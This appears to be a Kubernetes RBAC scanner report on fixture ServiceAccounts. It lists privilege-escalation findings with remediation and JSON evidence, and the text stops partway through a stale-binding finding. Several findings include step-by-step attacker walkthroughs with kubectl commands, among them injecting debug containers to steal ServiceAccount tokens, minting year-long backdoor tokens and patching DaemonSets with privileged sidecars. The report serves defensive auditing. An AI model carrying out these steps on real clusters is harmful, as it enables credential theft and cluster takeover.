Split the two halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval should be reserved to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | {name, rules}' and grep for certificatesigningrequests and certificatesigningrequests/approval.
  2. Remove one half from ServiceAccount/rbac-fixtures/sa-wildcard. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  4. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects any CertificateSigningRequest whose spec.request decodes to a Subject containing O=system:masters regardless of the submitting identity.
  5. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=sa-wildcard -A returning no for at least one of the two halves.
  6. Rotate the cluster CA if you suspect a cert was issued (the issued cert remains valid for its full lifetime; only a CA rotation invalidates it).
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH

Cluster-wide ephemeral-container injection enables takeover of running pods

KUBE-PRIVESC-013 1 subject Score 10.0
MITRE ATT&CK: T1610T1609T1611T1552.007

Affected subject

HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 10.0
Cluster-wide ephemeral-container injection enables takeover of running pods (ServiceAccount/privesc-fixtures/sa-ephemeral)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral Resource: RBACRule/cr-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral can update/patch the pods/ephemeralcontainers subresource via ClusterRoleBinding crb-ephemeral → ClusterRole cr-ephemeral. Cluster-wide: applies to every current and future namespace.

Ephemeral containers (the engine behind kubectl debug) are added to an already-running pod. The injected container joins the target pod's namespaces and, crucially, can mount the pod's ServiceAccount token and (with shareProcessNamespace or targetContainerName) inspect the other containers' processes and memory. It is functionally pod creation against an existing victim: the attacker chooses the image and command but inherits the victim pod's identity and host exposure.

Because the parent pod is already scheduled and admitted, ephemeral-container injection can sidestep some admission paths that only fire on pod create, making it a quieter alternative to pods/exec for stealing a privileged pod's token.

Impact Inject an attacker-controlled container into any running pod in Cluster-wide, inheriting that pod's ServiceAccount token, namespaces, and host mounts.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueEphemeral container injection

update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

  1. Attacker confirms the verb with kubectl auth can-i patch pods/ephemeralcontainers --as=sa-ephemeral -A.
  2. They pick a running pod backed by a privileged ServiceAccount (or one that mounts the host).
  3. They inject a debug container: kubectl debug -it <pod> --image=alpine --target=<container>.
  4. From the injected container they read the mounted SA token, or nsenter into the target container's namespaces.
  5. They replay the stolen token, or escape to the node if the parent pod is privileged.
Remediation
Remove update/patch on pods/ephemeralcontainers from non-operator identities; gate debugging behind a break-glass role.
  1. Audit who can inject ephemeral containers: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("pods/ephemeralcontainers"))'.
  2. Remove the verbs. Reserve ephemeral-container debugging for a JIT/break-glass role granted only during incidents.
  3. Pin sensitive workloads to dedicated least-privilege ServiceAccounts so an injected container does not yield a powerful token.
  4. Verify with kubectl auth can-i patch pods/ephemeralcontainers --as=sa-ephemeral -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods/ephemeralcontainers
Verbsupdatepatch
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-ephemeral
Inspect: kubectl get clusterrole cr-ephemeral -o yaml
Source bindingcrb-ephemeral
Inspect: kubectl get clusterrolebinding crb-ephemeral -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "pods/ephemeralcontainers"
  ],
  "scope": "cluster",
  "source_binding": "crb-ephemeral",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-ephemeral",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "update",
    "patch"
  ]
}
HIGH

Cluster-wide create serviceaccounts/token enables token minting

KUBE-PRIVESC-014 1 subject Score 10.0
MITRE ATT&CK: T1098.001T1528T1078.004

Affected subject

HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 10.0
Cluster-wide create serviceaccounts/token enables token minting (ServiceAccount/rbac-fixtures/sa-token-create)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create Resource: RBACRule/cr-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create can create on the serviceaccounts/token subresource via ClusterRoleBinding crb-token-create → ClusterRole cr-token-create. Cluster-wide: applies to every current and future namespace.

The TokenRequest API (Kubernetes 1.22+) is the canonical way to mint a JWT ServiceAccount token, and its create verb is gated by RBAC on the serviceaccounts/token subresource. Anyone holding this verb on a ServiceAccount can mint a token authenticated as that ServiceAccount.

Datadog Security Labs published a write-up on its abuse for persistence: an attacker mints a long-lived token for the highest-privileged ServiceAccount they can reach (commonly kube-system/clusterrole-aggregation-controller, which holds escalate on ClusterRoles), and uses that token as a backdoor that survives the original RBAC binding being removed. Crucially, this verb is NOT covered by 'list secrets' detections. TokenRequest tokens are NOT stored as Secret objects; they're issued live by the apiserver and never leave a footprint on disk.

Impact Mint a JWT for any ServiceAccount in Cluster-wide. Cluster-wide variant trivially yields cluster-admin (mint a kube-system controller token). Tokens persist after the original binding is revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueTokenRequest minting

The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

  1. Attacker confirms the verb with kubectl auth can-i create serviceaccounts/token --as=sa-token-create -A.
  2. They enumerate high-privilege ServiceAccounts: kubectl get clusterrolebindings -o json | jq '.items[].subjects[]?.name' and pick one with cluster-admin, system:masters, or aggregated permissions.
  3. They mint a long-lived token via the TokenRequest API: kubectl create token <sa-name> -n <ns> --duration=8760h (1 year), or call /api/v1/namespaces/<ns>/serviceaccounts/<sa>/token directly.
  4. They kubectl --token=<jwt> get nodes and confirm the new identity.
  5. They cache the token off-cluster as a backdoor: rotating the original binding does NOT invalidate an issued token until its exp claim, which defaults to --service-account-max-token-expiration (often 1 year on legacy clusters).
Remediation
Remove create on serviceaccounts/token from non-control-plane identities; constrain any legitimate use with resourceNames to a tiny allowlist.
  1. Remove the verb. Outside kube-controller-manager and a small set of token-broker components, nothing should hold this.
  2. If a workload genuinely needs to mint tokens, scope with resourceNames to the exact ServiceAccounts it issues tokens for, never *.
  3. Enforce a low maximum token expiration cluster-wide via --service-account-max-token-expiration=1h on the API server (or the cloud equivalent).
  4. Capture every create on serviceaccounts/token at RequestResponse audit level and SIEM-alert on issuance to ServiceAccounts with cluster-admin/escalate/bind rights.
  5. Verify with kubectl auth can-i create serviceaccounts/token --as=sa-token-create -n kube-system returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcesserviceaccounts/token
serviceaccounts/token: Mint short-lived ServiceAccount tokens
Verbscreate
create: Create new objects of this resource
Source rolecr-token-create
Inspect: kubectl get clusterrole cr-token-create -o yaml
Source bindingcrb-token-create
Inspect: kubectl get clusterrolebinding crb-token-create -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "serviceaccounts/token"
  ],
  "scope": "cluster",
  "source_binding": "crb-token-create",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-token-create",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH

Delete-pods + node manipulation can migrate workloads onto an attacker node

KUBE-PRIVESC-016 3 subjects Score 10.0
MITRE ATT&CK: T1610T1611T1078.004

Affected subjects (3)

HIGH ServiceAccount/privesc-fixtures/sa-node-migrate Cluster 10.0
Delete-pods + node manipulation can migrate workloads onto an attacker node (ServiceAccount/privesc-fixtures/sa-node-migrate)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-node-migrate Resource: RBACRule/cr-node-migrate

Subject ServiceAccount/privesc-fixtures/sa-node-migrate can delete pods (via ClusterRoleBinding crb-node-migrate → ClusterRole cr-node-migrate) and also update nodes/status (via ClusterRoleBinding crb-node-migrate → ClusterRole cr-node-migrate). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. By cordoning or tainting nodes (through nodes/status updates) or deleting nodes outright, then deleting the target pods, the attacker forces the scheduler to relocate those pods. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and evicting pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=sa-node-migrate -A and kubectl auth can-i update nodes/status --as=sa-node-migrate -A.
  2. They cordon or taint every node except one they control (kubectl patch node <n> --subresource=status ...), or delete the nodes outright.
  3. They kubectl delete pod <target> for a sensitive pod, forcing the controller to reschedule it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split delete pods from node-scheduling verbs across identities; reserve nodes/status writes and delete nodes for the control plane and cluster-autoscaler.
  1. Remove update/patch on nodes/status and delete on nodes from application/operator identities. These belong to the kube-controller-manager and the autoscaler.
  2. Restrict delete pods to controllers and platform automation; application identities should manage workloads through their owning controller, not by deleting pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i delete nodes --as=sa-node-migrate -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcesnodes/status
Verbsupdatepatch
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-node-migrate
Inspect: kubectl get clusterrole cr-node-migrate -o yaml
Source bindingcrb-node-migrate
Inspect: kubectl get clusterrolebinding crb-node-migrate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "nodes/status"
  ],
  "scope": "cluster",
  "source_binding": "crb-node-migrate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-node-migrate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "update",
    "patch"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
Delete-pods + node manipulation can migrate workloads onto an attacker node (ServiceAccount/rbac-fixtures/sa-cluster-admin)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can delete pods (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin) and also update nodes/status (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. By cordoning or tainting nodes (through nodes/status updates) or deleting nodes outright, then deleting the target pods, the attacker forces the scheduler to relocate those pods. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and evicting pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=sa-cluster-admin -A and kubectl auth can-i update nodes/status --as=sa-cluster-admin -A.
  2. They cordon or taint every node except one they control (kubectl patch node <n> --subresource=status ...), or delete the nodes outright.
  3. They kubectl delete pod <target> for a sensitive pod, forcing the controller to reschedule it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split delete pods from node-scheduling verbs across identities; reserve nodes/status writes and delete nodes for the control plane and cluster-autoscaler.
  1. Remove update/patch on nodes/status and delete on nodes from application/operator identities. These belong to the kube-controller-manager and the autoscaler.
  2. Restrict delete pods to controllers and platform automation; application identities should manage workloads through their owning controller, not by deleting pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i delete nodes --as=sa-cluster-admin -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
Delete-pods + node manipulation can migrate workloads onto an attacker node (ServiceAccount/rbac-fixtures/sa-wildcard)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard can delete pods (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard) and also update nodes/status (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. By cordoning or tainting nodes (through nodes/status updates) or deleting nodes outright, then deleting the target pods, the attacker forces the scheduler to relocate those pods. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and evicting pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=sa-wildcard -A and kubectl auth can-i update nodes/status --as=sa-wildcard -A.
  2. They cordon or taint every node except one they control (kubectl patch node <n> --subresource=status ...), or delete the nodes outright.
  3. They kubectl delete pod <target> for a sensitive pod, forcing the controller to reschedule it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split delete pods from node-scheduling verbs across identities; reserve nodes/status writes and delete nodes for the control plane and cluster-autoscaler.
  1. Remove update/patch on nodes/status and delete on nodes from application/operator identities. These belong to the kube-controller-manager and the autoscaler.
  2. Restrict delete pods to controllers and platform automation; application identities should manage workloads through their owning controller, not by deleting pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i delete nodes --as=sa-wildcard -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH

Cluster-wide workload-controller mutation can spawn privileged pods on ServiceAccount/rbac-fixtures/sa-workload-mutate

KUBE-PRIVESC-003 1 subject Score 9.7
MITRE ATT&CK: T1610T1098T1078.004

Affected subject

HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 9.7
Cluster-wide workload-controller mutation can spawn privileged pods on ServiceAccount/rbac-fixtures/sa-workload-mutate
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate Resource: RBACRule/cr-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate can create/update/patch workload controllers (deployments, daemonsets, statefulsets, jobs, cronjobs) via ClusterRoleBinding crb-workload-mutate → ClusterRole cr-workload-mutate. Cluster-wide: applies to every current and future namespace.

Anyone who can write a workload template inherits the same implicit permissions as pods/create: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a kubectl edit deployment adding a privileged: true sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.

DaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with patch daemonsets in kube-system mutates kube-proxy to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.

Impact Spawn (or mutate existing) pods running as any ServiceAccount in Cluster-wide. DaemonSet write specifically yields one attacker pod per node, including future nodes.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker enumerates writable controllers with kubectl auth can-i patch daemonsets --as=sa-workload-mutate -A.
  2. They identify a high-value DaemonSet (e.g. kube-system/kube-proxy, kube-system/cilium, or any node-agent that already runs privileged).
  3. They kubectl patch to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.
  4. The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.
  5. They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running.
Remediation
Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.
  1. Audit who has create/update/patch on deployments,daemonsets,statefulsets,jobs,cronjobs. Most application identities should not have this.
  2. Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.
  3. Add a Kyverno/Gatekeeper policy that rejects pod templates with privileged, hostPID, hostNetwork, hostPath mounts, or automountServiceAccountToken: true outside an explicit allowlist.
  4. For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with kubectl auth can-i create daemonsets --as=sa-workload-mutate -n kube-system returning no.
Evidence
ScopeCluster
API groupsappsbatch
Resourcesdeploymentsdaemonsetsstatefulsetsjobscronjobs
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-workload-mutate
Inspect: kubectl get clusterrole cr-workload-mutate -o yaml
Source bindingcrb-workload-mutate
Inspect: kubectl get clusterrolebinding crb-workload-mutate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "apps",
    "batch"
  ],
  "namespace": "",
  "resources": [
    "deployments",
    "daemonsets",
    "statefulsets",
    "jobs",
    "cronjobs"
  ],
  "scope": "cluster",
  "source_binding": "crb-workload-mutate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-workload-mutate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
MEDIUM

Cluster-wide pods/portforward access tunnels to internal services

KUBE-PRIVESC-015 1 subject Score 7.2
MITRE ATT&CK: T1090T1613T1078.004

Affected subject

MEDIUM ServiceAccount/privesc-fixtures/sa-portforward Cluster 7.2
Cluster-wide pods/portforward access tunnels to internal services (ServiceAccount/privesc-fixtures/sa-portforward)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Lateral Movement Subject: ServiceAccount/privesc-fixtures/sa-portforward Resource: RBACRule/cr-portforward

Subject ServiceAccount/privesc-fixtures/sa-portforward can create the pods/portforward subresource via ClusterRoleBinding crb-portforward → ClusterRole cr-portforward. Cluster-wide: applies to every current and future namespace.

Port-forward opens a tunnel from the attacker's machine, through the API server and kubelet, to an arbitrary TCP port on a target pod. It bypasses NetworkPolicy, Service-level access controls, and any ingress restriction, because the traffic rides the kubelet's streaming channel rather than the pod network. Anything the pod can reach on localhost (an admin port, an unauthenticated debug endpoint, a sidecar) becomes reachable by the holder.

This is primarily a lateral-movement and data-access primitive rather than a direct RBAC escalation: it gives network reach to internal services (databases, message queues, metadata proxies, the API of another component) that were assumed to be cluster-internal.

Impact Reach any TCP port on any pod in Cluster-wide from outside the cluster network, bypassing NetworkPolicy and Service controls (internal databases, admin consoles, sidecar APIs).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePort-forward to internal services

create on pods/portforward opens a tunnel from the attacker's machine, through the API server and kubelet, to any TCP port on a target pod. It bypasses NetworkPolicy and Service controls because the traffic rides the kubelet streaming channel, so internal-only services (databases, admin consoles, sidecar APIs) become directly reachable.

  1. Attacker confirms the verb with kubectl auth can-i create pods/portforward --as=sa-portforward -A.
  2. They identify a target pod exposing a sensitive port on localhost (a database, an unauthenticated admin endpoint, a metadata proxy).
  3. They open a tunnel: kubectl port-forward pod/<target> 5432:5432.
  4. They connect to localhost:5432 and interact with the internal service directly, with no NetworkPolicy in the path.
  5. They exfiltrate data or pivot deeper using credentials harvested from the exposed service.
Remediation
Remove create on pods/portforward from application identities; reserve it for a small operator group and enforce NetworkPolicy on sensitive workloads regardless.
  1. Audit who holds port-forward rights: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("pods/portforward"))'.
  2. Remove the verb from application/CI identities. Port-forward is a human-debugging convenience, not a workload permission.
  3. Add authentication to internal services (do not rely on network position) and enforce NetworkPolicy so a tunnel into one pod does not expose the whole namespace.
  4. Verify with kubectl auth can-i create pods/portforward --as=sa-portforward -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods/portforward
pods/portforward: Tunnel arbitrary TCP into the cluster network
Verbscreate
create: Create new objects of this resource
Source rolecr-portforward
Inspect: kubectl get clusterrole cr-portforward -o yaml
Source bindingcrb-portforward
Inspect: kubectl get clusterrolebinding crb-portforward -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "pods/portforward"
  ],
  "scope": "cluster",
  "source_binding": "crb-portforward",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-portforward",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
MEDIUM

Cluster-wide stale binding references non-existent ClusterRole on ServiceAccount/rbac-fixtures/sa-stale-roleref

KUBE-RBAC-STALE-001 1 subject Score 5.0
MITRE ATT&CK: T1098T1078

Affected subject

MEDIUM ServiceAccount/rbac-fixtures/sa-stale-roleref Cluster 5.0
Cluster-wide stale binding references non-existent ClusterRole on ServiceAccount/rbac-fixtures/sa-stale-roleref
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-stale-roleref Resource: ClusterRole/kubesplaining-fixture-deleted-role

ClusterRoleBinding crb-stale-roleref grants permissions from ClusterRole kubesplaining-fixture-deleted-role, but no ClusterRole named kubesplaining-fixture-deleted-role exists in this cluster. The binding currently confers no effective permissions, so an attacker who already has ServiceAccount/rbac-fixtures/sa-stale-roleref gains nothing today.

What makes this risky is what happens *next*. The moment any identity with create clusterroles re-creates a clusterrole named exactly kubesplaining-fixture-deleted-role — by restoring it from version control, applying a cached manifest, or as a deliberate attack step — this binding silently activates and grants the new role's rules to every subject listed. The binding itself was never re-reviewed; the only review gate that fired was on the role definition. If the original review process that introduced this binding was looking at it in the context of a specific role's rules, that context is now gone.

Impact Latent grant: if anyone re-creates ClusterRole kubesplaining-fixture-deleted-role, ServiceAccount/rbac-fixtures/sa-stale-roleref (and every co-subject of this binding) inherits its permissions without further review.
How an attacker abuses this
Background
SubjectServiceAccount

